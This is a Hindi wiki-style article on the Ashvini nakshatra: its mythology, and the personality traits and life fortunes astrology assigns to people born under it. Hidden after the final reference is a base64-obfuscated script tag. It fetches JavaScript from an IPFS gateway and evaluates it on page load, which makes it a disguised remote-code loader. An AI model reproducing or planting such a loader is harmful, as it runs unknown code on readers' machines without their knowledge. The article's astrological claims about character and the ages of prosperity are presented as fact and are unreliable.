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अश्विनी नक्षत्र आकाश मंडल में प्रथम [[नक्षत्र]] है। अश्विनी नक्षत्र 3 तारों का समूह है, जो आकाशमंडल में [[जनवरी]] के प्रारम्भ में, सूर्यास्त के बाद, सिर पर दिखाई देता है।  
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[[चित्र:Ashvini-Nakshatra.jpg|thumb|250px|अश्विनी नक्षत्र]]
<poem>अर्थ - अश्व पुरुष
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'''अश्विनी नक्षत्र''' ([[अंग्रेज़ी]]: ''Ashvini Nakshatra'') आकाश मंडल में 27 नक्षत्रों में से पहले स्थान पर आता है। तीन-तीन तारों के समूह के अश्विनी नक्षत्र के स्वामी केतु हैं और इसके देव [[अश्विनीकुमार]] हैं। अश्विनी ग्रहों के राजा सूर्य के पुत्र अश्विनीकुमार हैं, जिनके नाम पर इन तारा समूह का नामकरण किया गया है। अश्विनीकुमार देवताओं के चिकित्सक माने जाते हैं। इस [[नक्षत्र]] की राशि मेष और राशि स्वामी मंगल है। इसलिए इस नक्षत्र में जन्मे लोगों पर केतु और मंगल दोनों का प्रभाव पड़ता है। कुंडली में केतु व मंगल जिस भाव में होते हैं, ये दोनों वैसा ही फल देते हैं। इस नक्षत्र में जन्म लेने वाले व्यक्ति अपने घर में [[आंवला]] का वृक्ष लगाते है।
देव - अश्विनी हैं।</poem>  
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==व्यक्तित्व==
*इस नक्षत्र में जन्म लेने वाले का व्यक्ति का एक स्वतन्त्र चिन्तन होता है। जन्म लेने वाला व्यक्ति बुद्धिमान होने के साथ ही, उसे आर्थिक दृष्टि से भी जीवन में कोई विशेष चिन्ता नहीं करनी पडती।
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अश्विनी नक्षत्र को ज्योतिषशास्त्र में बेहद महत्वपूर्ण माना गया है। इस नक्षत्र में जन्मे लोग ऊर्जावान के साथ-साथ सक्रिय भी रहते हैं। इनको छोटे-मोटे काम से संतुष्टि नहीं मिलती, ये हमेशा बड़े और महत्वपूर्ण कार्यों को करने में ही ज्यादा आनंद प्राप्त करते हैं। हर काम को समय पर और तेजी से निपटाना इनकी आदत होती है। अपनी फुर्ति और सक्रियता के चलते कार्यस्थल पर हर किसी की नजर में रहते हैं। ये जिद्दी स्वभाव के साथ-साथ शांत प्रवृति के भी होते हैं। विपरित परिस्थितियों में भी संयम व धैर्य के साथ काम करते हैं। यह कभी सुनी हुई बातों पर विश्वास नहीं करते और किसी के प्रभाव में आकर कोई निर्णय नहीं लेते।<ref name="pp">{{cite web |url=https://navbharattimes.indiatimes.com/astro/grah-nakshatra-in-hindi/people-who-born-in-ashwini-nakshatra-have-these-super-qualities-astrology-impotence-of-ashwini-nakshatra/articleshow/91350337.cms |title=अश्विनी नक्षत्र में हुआ है जन्म, ज्योतिष की ये बात जानेंगे तो हो जाएंगे हैरान|accessmonthday=01 नवंबर |accessyear=2022 |last= |first= |authorlink= |format= |publisher=navbharattimes.indiatimes.com |language=हिंदी}}</ref>
*अश्विनी में अश्विनी कुमारों का व्रत और पूजन किया जाता है।
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*अश्विनी नक्षत्र का [[देवता]] [[केतु]] को माना जाता है, जबकि वैज्ञानिक दृष्टिकोण से [[आंवला]] के पेड़ को अश्विनी नक्षत्र का प्रतीक माना जाता है और अश्विनी नक्षत्र में जन्म लेने वाले व्यक्ति आंवला वृक्ष की पूजा करते है।  
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अश्विनी नक्षत्र में जन्म लोग रहस्यमय प्रकृति के भी होते हैं। अपने फायदे के काम की चीज को पहले चुपचाप कर लेते हैं और किसी से कोई जिक्र भी नहीं करते। जिंदादिल और खुशमिजाज स्वभाव के कारण महफिल की शान होते हैं और किसी भी बात को जल्दी समझकर तुरंत निर्णय लेते हैं। निडर और साहसी होते हैं लेकिन क्रोध के कारण कभी-कभी नुकसान भी कर बैठते हैं। अपने शत्रुओं को किसी तरह पराजित करना है, इनको अच्छे से पता है। इनको ताकत या दवाब से कभी वश में नहीं किया जा सकता। इनके अंदर नेतृत्व करने की क्षमता होती है, जिसकी वजह से मित्रों के बीच कोई भी योजना बने, उसमें इनका हाथ होता है। हालांकि कभी-कभी अपने फैसलों की वजह से दूसरों का नुकसान भी कर बैठते हैं। दूसरों की मदद के लिए हमेशा तैयार रहते हैं और हर चीज को सकारात्मक तौर पर देखते हैं।
*इस नक्षत्र में जन्म लेने वाले व्यक्ति अपने घर में आंवला का वृक्ष लगाते है।  
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अश्विनी नक्षत्र में जन्में लोगों की चाल बहुत तेज होती है और यह अपने मान-सम्मान का विशेष ध्यान में रखते हैं। सामाजिक कार्य करने में हमेशा आगे रहते हैं, अगर कहीं कोई अत्याचार हो रहा हो तो वहां जाकर अपनी आवाज को बुलंद करते हैं। यह स्वतंत्र विचार के होते हैं और इसी तरह इनको अकेले में सोचना-समझना ज्यादा अच्छा लगता है। यह अगर किसी चीज का एक बार निर्णय ले लें तो पीछे नहीं हटते। अपने मित्रों पर अपना सब कुछ न्योछावर करने की क्षमता रखते हैं। हालांकि इनका मित्र बनना बहुत मुश्किल होता है क्योंकि यह जल्दी किसी पर विश्वास नहीं करते। दान-पुण्य के कार्य में हमेशा आगे रहते हैं और धार्मिक यात्रा पर अक्सर जाते रहते हैं।
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अश्विनी नक्षत्र में जन्म वाले लगातार कोशिश करने वालों में से होते हैं। जब तक इनको सफलता नहीं मिल जाती, उसका पीछा नहीं छोड़ते। जब भी किसी से प्यार करते हैं, उस पर अपना सब कुछ लूटा देते हैं और उस प्यार को जीवन के अंत तक अपने पास रखते हैं। इसलिए इनका दांपत्य जीवन बहुत अच्छा रहता है। जीवन साथी की हर इच्छा को पूरा करते हैं और उनकी भावनाओं और स्वतंत्रता का पूरा सम्मान करते हैं। भले ही यह गरीब [[परिवार]] में जन्मे हों, इसका उन पर कोई फर्क नहीं पड़ता है। परिवार की समृद्धि इनका पहला कर्तव्य होता है और उनके सदस्यों को हमेशा प्रेम करते हैं। हर सुविधा उनको देते हैं और अपनी क्षमता से हर भौतिक सुख-सुविधा का भोग करवाते हैं।
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==30 उम्र के बाद अच्छे दिन==
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अश्विनी नक्षत्र में जन्मे लोग थोड़ी हठी स्वभाव के भी होते हैं। इनकी शास्त्रों में काफी रुचि रहती है, इसलिए हर कार्य सही तरीके से करने की इनकी आदत होती है। 30 की उम्र के बाद अच्छे दिन इनके शुरू होते हैं, जो 55 की उम्र तक रहते हैं। इसके बाद इनके दिन सामान्य हो जाते हैं और हर तब तक हर चीज को अपने पास कर लेते हैं, इसलिए 55 की उम्र के बाद कभी किसी चीज की कमी नहीं रहती।
  
 
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08:40, 1 नवम्बर 2022 के समय का अवतरण

अश्विनी नक्षत्र

अश्विनी नक्षत्र (अंग्रेज़ी: Ashvini Nakshatra) आकाश मंडल में 27 नक्षत्रों में से पहले स्थान पर आता है। तीन-तीन तारों के समूह के अश्विनी नक्षत्र के स्वामी केतु हैं और इसके देव अश्विनीकुमार हैं। अश्विनी ग्रहों के राजा सूर्य के पुत्र अश्विनीकुमार हैं, जिनके नाम पर इन तारा समूह का नामकरण किया गया है। अश्विनीकुमार देवताओं के चिकित्सक माने जाते हैं। इस नक्षत्र की राशि मेष और राशि स्वामी मंगल है। इसलिए इस नक्षत्र में जन्मे लोगों पर केतु और मंगल दोनों का प्रभाव पड़ता है। कुंडली में केतु व मंगल जिस भाव में होते हैं, ये दोनों वैसा ही फल देते हैं। इस नक्षत्र में जन्म लेने वाले व्यक्ति अपने घर में आंवला का वृक्ष लगाते है।

व्यक्तित्व

अश्विनी नक्षत्र को ज्योतिषशास्त्र में बेहद महत्वपूर्ण माना गया है। इस नक्षत्र में जन्मे लोग ऊर्जावान के साथ-साथ सक्रिय भी रहते हैं। इनको छोटे-मोटे काम से संतुष्टि नहीं मिलती, ये हमेशा बड़े और महत्वपूर्ण कार्यों को करने में ही ज्यादा आनंद प्राप्त करते हैं। हर काम को समय पर और तेजी से निपटाना इनकी आदत होती है। अपनी फुर्ति और सक्रियता के चलते कार्यस्थल पर हर किसी की नजर में रहते हैं। ये जिद्दी स्वभाव के साथ-साथ शांत प्रवृति के भी होते हैं। विपरित परिस्थितियों में भी संयम व धैर्य के साथ काम करते हैं। यह कभी सुनी हुई बातों पर विश्वास नहीं करते और किसी के प्रभाव में आकर कोई निर्णय नहीं लेते।[1]

अश्विनी नक्षत्र में जन्म लोग रहस्यमय प्रकृति के भी होते हैं। अपने फायदे के काम की चीज को पहले चुपचाप कर लेते हैं और किसी से कोई जिक्र भी नहीं करते। जिंदादिल और खुशमिजाज स्वभाव के कारण महफिल की शान होते हैं और किसी भी बात को जल्दी समझकर तुरंत निर्णय लेते हैं। निडर और साहसी होते हैं लेकिन क्रोध के कारण कभी-कभी नुकसान भी कर बैठते हैं। अपने शत्रुओं को किसी तरह पराजित करना है, इनको अच्छे से पता है। इनको ताकत या दवाब से कभी वश में नहीं किया जा सकता। इनके अंदर नेतृत्व करने की क्षमता होती है, जिसकी वजह से मित्रों के बीच कोई भी योजना बने, उसमें इनका हाथ होता है। हालांकि कभी-कभी अपने फैसलों की वजह से दूसरों का नुकसान भी कर बैठते हैं। दूसरों की मदद के लिए हमेशा तैयार रहते हैं और हर चीज को सकारात्मक तौर पर देखते हैं।

अश्विनी नक्षत्र में जन्में लोगों की चाल बहुत तेज होती है और यह अपने मान-सम्मान का विशेष ध्यान में रखते हैं। सामाजिक कार्य करने में हमेशा आगे रहते हैं, अगर कहीं कोई अत्याचार हो रहा हो तो वहां जाकर अपनी आवाज को बुलंद करते हैं। यह स्वतंत्र विचार के होते हैं और इसी तरह इनको अकेले में सोचना-समझना ज्यादा अच्छा लगता है। यह अगर किसी चीज का एक बार निर्णय ले लें तो पीछे नहीं हटते। अपने मित्रों पर अपना सब कुछ न्योछावर करने की क्षमता रखते हैं। हालांकि इनका मित्र बनना बहुत मुश्किल होता है क्योंकि यह जल्दी किसी पर विश्वास नहीं करते। दान-पुण्य के कार्य में हमेशा आगे रहते हैं और धार्मिक यात्रा पर अक्सर जाते रहते हैं।

अश्विनी नक्षत्र में जन्म वाले लगातार कोशिश करने वालों में से होते हैं। जब तक इनको सफलता नहीं मिल जाती, उसका पीछा नहीं छोड़ते। जब भी किसी से प्यार करते हैं, उस पर अपना सब कुछ लूटा देते हैं और उस प्यार को जीवन के अंत तक अपने पास रखते हैं। इसलिए इनका दांपत्य जीवन बहुत अच्छा रहता है। जीवन साथी की हर इच्छा को पूरा करते हैं और उनकी भावनाओं और स्वतंत्रता का पूरा सम्मान करते हैं। भले ही यह गरीब परिवार में जन्मे हों, इसका उन पर कोई फर्क नहीं पड़ता है। परिवार की समृद्धि इनका पहला कर्तव्य होता है और उनके सदस्यों को हमेशा प्रेम करते हैं। हर सुविधा उनको देते हैं और अपनी क्षमता से हर भौतिक सुख-सुविधा का भोग करवाते हैं।

30 उम्र के बाद अच्छे दिन

अश्विनी नक्षत्र में जन्मे लोग थोड़ी हठी स्वभाव के भी होते हैं। इनकी शास्त्रों में काफी रुचि रहती है, इसलिए हर कार्य सही तरीके से करने की इनकी आदत होती है। 30 की उम्र के बाद अच्छे दिन इनके शुरू होते हैं, जो 55 की उम्र तक रहते हैं। इसके बाद इनके दिन सामान्य हो जाते हैं और हर तब तक हर चीज को अपने पास कर लेते हैं, इसलिए 55 की उम्र के बाद कभी किसी चीज की कमी नहीं रहती।


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टीका टिप्पणी और संदर्भ

  1. अश्विनी नक्षत्र में हुआ है जन्म, ज्योतिष की ये बात जानेंगे तो हो जाएंगे हैरान (हिंदी) navbharattimes.indiatimes.com। अभिगमन तिथि: 01 नवंबर, 2022।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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